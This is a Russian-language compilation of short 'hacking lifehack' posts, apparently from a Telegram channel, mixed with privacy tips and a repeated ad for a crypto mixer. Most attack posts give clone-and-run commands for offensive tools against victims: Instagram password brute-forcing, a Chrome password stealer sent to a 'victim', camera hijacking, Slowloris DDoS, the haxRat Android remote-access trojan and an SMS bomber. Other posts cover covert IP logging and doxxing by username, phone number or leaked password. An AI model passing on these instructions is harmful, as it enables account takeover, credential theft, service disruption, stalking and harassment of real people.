​​Как взломать Instagram в несколько кликов?

В данном посте пойдёт речь про осуществление атаки на аккаунт в социальной сети Instagram, путем перебора пароля. Данную атаку сможет провести даже обычный школьник.

Для проведения подобной атаки, достаточно следовать простой инструкции:

Установка:
$ git clone https://github.com/tiptoettt/instashell
$ cd instashell
$ chmod +x instashell.sh

Использование:

$ service tor start
$ ./instashell.sh

Далее введите Юзернейм аккаунта Instagram и путь до словаря паролей.

​​Как украсть пароли из аккаунта в Google

Большинство пользователей хранит свои пароли прямо в браузере, в так называемых "формах автозаполнения" Chrome.

ChromePass - это специализированная утилита, написанная на языке программирования Python, способная "добывать" сохраненные пароли в Chrome.

Установка:
$ git clone https://github.com/bierschi/chromepass
$ cd chromepass
$ pip install -r requirements.txt
$ python -m pip install --upgrade pip
$ python -m pip install -r requirements.txt

Использование:
$ python create_server.py

После запуска, выбираем метод - client.exe, вводите свой IP. Если хотите, то включите сообщение об ошибке, и добавьте сообщение. Файл server-ip.exe - должна получить ваша жертва. В файле client.txt появятся пароли.

​​​Как скрыть свои действия от Google и убрать слежку?

Американская корпорация собирает о вас множество данных, но пользоваться ее экосистемой очень удобно. Если вас не пугает накопление сведений и вы пользуетесь сервисами компании, есть простой способ защитить историю ваших действий от посторонних глаз.

Google предлагает возможность поставить пароль на историю ваших действий, тогда при попытке ее просмотра или удаления, будет требоваться подтверждение личности. Это повысит уровень защиты данных на общих устройствах.

Чтобы активировать защиту, перейдите по ссылке в раздел «Мои действия в Google» → найдите опцию «Настроить проверку для доступа к истории моих действий» → выберите «Включить дополнительную проверку» и подтвердите свою личность.

▫️Ссылка

​​​​Моментально удаляем все данные с телефона

Перед продажей устройства всегда возникает необходимость в полном очищение хранилища от личных данных. Доверять заводскому сбросу настроек не стоит, ведь в интернете полно способов восстановления файлов.

Можно воспользоваться сторонними помощниками, например приложением Extirpater, которое уничтожит все данные на Android-устройстве без возможности восстановления. Перед применением стоит помнить, что подобные утилиты при частом использовании разрушают накопитель гаджета.

Алгоритм очищения достаточно прост, но эффективен: при стандартном удалении данных, файлы не уничтожаются, а лишь исчезают из индекса файловой системы. Данный же инструмент заполняет оставшееся пространство диска случайным шумом, а затем все начисто очищает.

▫️https://gitlab.com/divested-mobile/extirpater

​​Быстрый пробив по IP

Если вы общаетесь с злоумышленником и хотите его напугать - есть лайфхак, как узнать его публичный IP даже без компьютера. Или пранкануть друзей. Для этого существует много сервисов, которые регистрируют каждого посетителя вашей ссылки.

IP Logger - с помощью данного сервиса вы создадите и отправите ссылку, которая отследит IP, браузер, ОС и местоположение человека — и он не узнает об этом. Как это сделать: выбираем файл для отправки и вставляем его ссылку на сайт.

Выбираем любой не вызывающий подозрений домен и желаемое расширение картинки. Теперь под «Ваша ссылка для сбора IP-адресов» копируем получившуюся ссылку и отправляем человеку.

▫️https://iplogger.ru/

​Как взломать камеру с помощью Termux?

В данном посте будет представлена утилита, способная спарсить и получить доступ к камерам видеонаблюдения. Парсинг представляет собой процесс сбора данных с последующей их обработкой и анализом.

Установка:
$ apt install python3
$ apt install git
$ git clone https://github.com/yan4ikyt/webhack
$ cd webhack
$ bash install.sh

Использование:
$ python WebHack.py

После ввода данной команды выбираем страну и утилита нам выдаст IP камер. Теперь можно вставлять полученные IP в браузер и просматривать. Половина камер из списка под паролем.

​Пробив человека по социальным сетям

Это достаточно классный лайфхак, чтобы пробить аккаунт по всем соцсетям, мессенджерам и популярным сервисам.

Namechk - сервис, способный за пару минут найдёт по никнейму все аккаунты человека, а вручную поиск занял бы не меньше часа.Вводите юзернейм разыскиваемого человека и нажимаете на иконку лупы.

На экране появится несколько десятков логотипов сайтов, причём все - с разным цветом. Если цвет зелёный, пользователя с таким ником не существует. Красный - не получилось найти. Жёлтый - недействителен. Серый - аккаунт найден! По клику прямая ссылка на него.

Namechk ищет не только по популярным соцсетям, но и по менее известным — например, Tripit, Product Hunt, Kongregate, Mixcloud и другие. Это уже полезно для айтишников.

▫️https://namechk.com/

​​Создаём фейковую личность в интернете

Я советую завести привычку - не регистрироваться на сомнительных сайтах на свои реальные данные. Вбивайте несуществующие, и делайте это красиво.

Randus - данный сервис создаёт рандомные личности каждый раз, когда вы обновляете страницу. Генератор случайным образом придумает ФИО, дату рождения, адрес, номер телефона, логин и пароль. Даже сгенерирует лицо несуществующего человека с помощью нейросетей.

Вам остаётся только скопировать все эти данные и вставить в поля регистрации на сайте. Также есть вариант попроще: установить для Chrome, которое автоматически заполнит все необходимые поля за вас.

▫️https://randus.org/

​​​​Блокируем всплывающие окна на сайтах

Даже если вы не ненавидите интернет-рекламу, навязчивые всплывающие окна, мешающие комфортному серфингу в интернете, уж точно не нравятся никому. Эти рекламные материалы всегда только мешают пользователям получать доступ к онлайн-контенту.

Расширение Poper Blocker для Chrome и Firefox - самый мощный блокировщик всплывающих окон. Инструмент автоматически и эффективно блокирует все всплывающие окна с рекламой, новыми вкладками и оверлеи (всплывающие окна, закрывающие содержимое страницы).

Poper Blocker очень прост в использовании. Фактически, вам не нужно ничего делать, чтобы работать с ним, поскольку он без проблем работает в фоновом режиме. Ненавязчивые уведомления сообщат вам, когда всплывающее окно или оверлей были заблокированы.

▫️https://poperblocker.com/

​​DDoS сайта с помощью Termux

В данном посте пойдёт речь про осуществление DDoS-атаки на сайт с помощью одной интересной утилиты.

Slowloris — инструмент для DDoS-атак с низкой пропускной способностью. Программное обеспечение переписано на Python и выполняет атаку отказа в обслуживании HTTP, которая замедляет работу небольших серверов или приводит к их сбою.

Установка:
$ git clone https://github.com/gkbrk/slowloris.git
$ cd slowloris

Использование:
$ python3 slowloris.py

После выполнения данной команды будет открыто небольшое меню, в котором нужно выбрать параметры и указать IP сайта на который будет осуществлена атака.

​​Как удостовериться, что сайт безопасен?

Большинство веб-страниц в интернете уязвимы. Хакеры инфицируют сайты вирусами, чтобы использовать их в своих целях: производить атаки, красть личную информацию, данные банковских карт и даже майнить криптовалюту.

Простая онлайн-проверка сайта на вирусы не позволит вам быть обманутым. Website Security Test - бесплатный сервис оценки безопасности веб-сайтов с простым, удобным и весьма продуманным функциональным интерфейсом.

Сканер проверяет безопасность сервера вашего сайта, его соответствие требованиям стандартов PCI DSS и GDPR. Сервис анализирует заголовки HTTP, включая CSP. Кроме того, сканер выполняет специфические тесты CMS для сайтов на базе WordPress и Drupal, проверяет уязвимости библиотек интерфейсов и многое другое.

▫️https://www.immuniweb.com/websec/

​​Швейцарский нож для работы с файлами

Как часто вам приходится редактировать файлы? Немного обрезать видео, повернуть фотографию, конвертировать формат в другой, ускорить аудиозапись. Для всех этих задач, конечно, можно использовать большие специализированные программы с кучей настроек, но есть способ проще и универсальнее.

123apps - сайт с набором полезных сервисов для работы с файлами. В нем собраны 46 простых веб-приложений для редактирования аудио и видео, работы с PDF и конвертации файлов. Есть также удобное расширение для Google Chrome, с которым можно будет быстро и удобно найти нужную функцию.

Онлайн-инструмент поможет вам быстро обрезать, кадрировать, повернуть видео, изменить громкость и скорость аудиозаписи, поправить высоту тона. Кроме того, сервис умеет работать с PDF: разделить, объединить, сжать, повернуть, экспортировать в другой формат. 123apps решает множество проблем, встающих перед нами каждый день.

▫️https://123apps.com/

​​Отправляем зашифрованные сообщения в Gmail

Далеко не все сервисы электронной почты шифруют сообщения при пересылке. Вести через них переписку – все равно что отправлять друг другу открытки без конверта, которые может прочитать кто угодно.

По умолчанию Gmail не шифрует исходящие письма, что делает их уязвимыми. Для защиты личной информации можно использовать расширение Flowcrypt, которое предоставляет сквозное шифрование для защиты сообщений и вложений в почте Google.

После установки расширения в почте Gmail рядом с кнопкой «Написать» появится новая кнопка «Secure Compose». Отправленное таким образом письмо сможет прочитать только получатель с установленным расширением, у которого есть тот же пароль, что и у вас.

▫️Расширение

​​​Ищем скрытые камеры с помощью смартфона

В данном посте пойдёт речь про то, как можно с легкостью находить скрытые камеры в различных помещениях, при помощи обычного смартфона.

Hidden Camera Detector - это приложение-датчик, которое обнаруживает скрытые камеры, микрофоны, компьютеры и другие устройства. Схема простая: на экране показывается приблизительное расположение шпионского приспособления. Мигающий красный значок - маяк. Будешь держать на него курс - рано или поздно «выплывешь» к цели.

Число в середине экрана - это индикатор. Если значение выше сотки, значит, Hidden Camera Detector обнаружило камеру. Меньше - другое оборудование.

◽️Hidden Camera

​​Сервисы для безопасного общения

В данном посте пойдёт речь про сервсиы для безопасного общения по типу Telegram.

1. Briar - возможно, самый безопасный децентрализованный сервис, который работает через Tor-сеть, чем значительно повышает анонимность конечного получателя сообщений.

2. Orbit - распределенное, бессерверное приложение для однорангового чата на IPFS.

3. CoyM - мессенджер с шифрованием и функцией секретных чатов, основанный на протоколе XMPP, точнее на его расширении OMEMO.

4. Rocket.Chat - это платформа с открытым исходным кодом, разработанная на JavaScript для организации чатов и осуществления VoIP звонков с защитой данных.

5. Matrix - открытый децентрализованный протокол обмена сообщениями с предлагающимися к нему клиентами, например Element.

Blender.io - лучший анонимный миксер.

​​Новый способ пробива

В данном посте пойдёт речь про новую утилиту - PhoneParser. Представленный инструмент способен не только выдать информацию по стране и примерно местоположению, но и поиск человека по объявлениям Авито, GetContact, социальных сетях, слитых базах и других открытых источниках.

Установка:

$ git clone https://github.com/in4osecurity/Phone_Parser
$ cd Phone_Parser
$ pip install -r requirements.txt

Использование:
$ python phone_parser.py

Установка завершена! Далее всё предельно ясно, просто следуйте инструкции в терминале.

Blender.io - лучший анонимный миксер.

​​Пробив человека по паролю

В данном посте представлены инструменты и сервисы, позволяющие найти связанные логины и почту с паролем. Если вы знаете пароль, но не имеете других данных - эти сервисы вам помогут.

1. https://leak-lookup.com/ - требуется регистрация.

2. https://leakpeek.com/ - бесплатный сервис.

3. https://глазбога.рф - всем известный бот "Глаз Бога".

4. https://leakcheck.io/ - сервис условно бесплатный

5. QUCIK_Osint_Bot - телеграм бот, так же имеет функцию поиска по паролю. Команда /pas

6. Karma - инструмент на гитхаб, позволяет искать связь email адресов с паролем.

7. DeepSearch - сервис в даркнете (для доступа требуется TOR), который тоже позволяет провести поиск по паролю.

Blender.io - лучший анонимный миксер.

​​Взлом телефона на Android

haxRat - это облачный скрипт для удаленного управления Android на базе NodeJS. С его помощью вы можете блокировать звонки на устройстве, видеть все файлы и картинки, прослушивать микрофон, мониторить уведомления и многое другое.

Установка:

$ apt install nodejs git
$ git clone https://github.com/hax4us/haxRat.git
$ cd haxRat/server
$ npm install
$ mkdir ~/haxrat

Использование:

$ node index.ja

После выполнения данной команды запустится меню, в котором можно выбрать несколько пунктов.

Blender.io - лучший анонимный миксер.

​Новый SMS и Call бомбер

SMS-бомбер — это программа или сервис, предназначенный для массовой рассылки сообщений на заданный номер. Фактически пользователь неожиданно получает тонну входящих. Многие компании присылают SMS с кодом подтверждения, который абонент, разумеется, не запрашивал.

Установка:
$ apt update && apt upgrade -y
$ pkg install git -y
$ git clone https://github.com/anubhavanonymous/XLR8_BOMBER
$ cd XLR8_BOMBER

Использование:

$ bash xlr8.sh

Чтобы запустить атаку, следует выбрать вариант 1 для SMS. Далее вам нужно будет ввести номер телефона. После того, как вы введете номер телефона и нажмете клавишу «Ввод», начнется рассылка SMS, и если вам захочется ее остановить, просто нажмите CTRL + C на клавиатуре.

Blender.io - лучший анонимный миксер.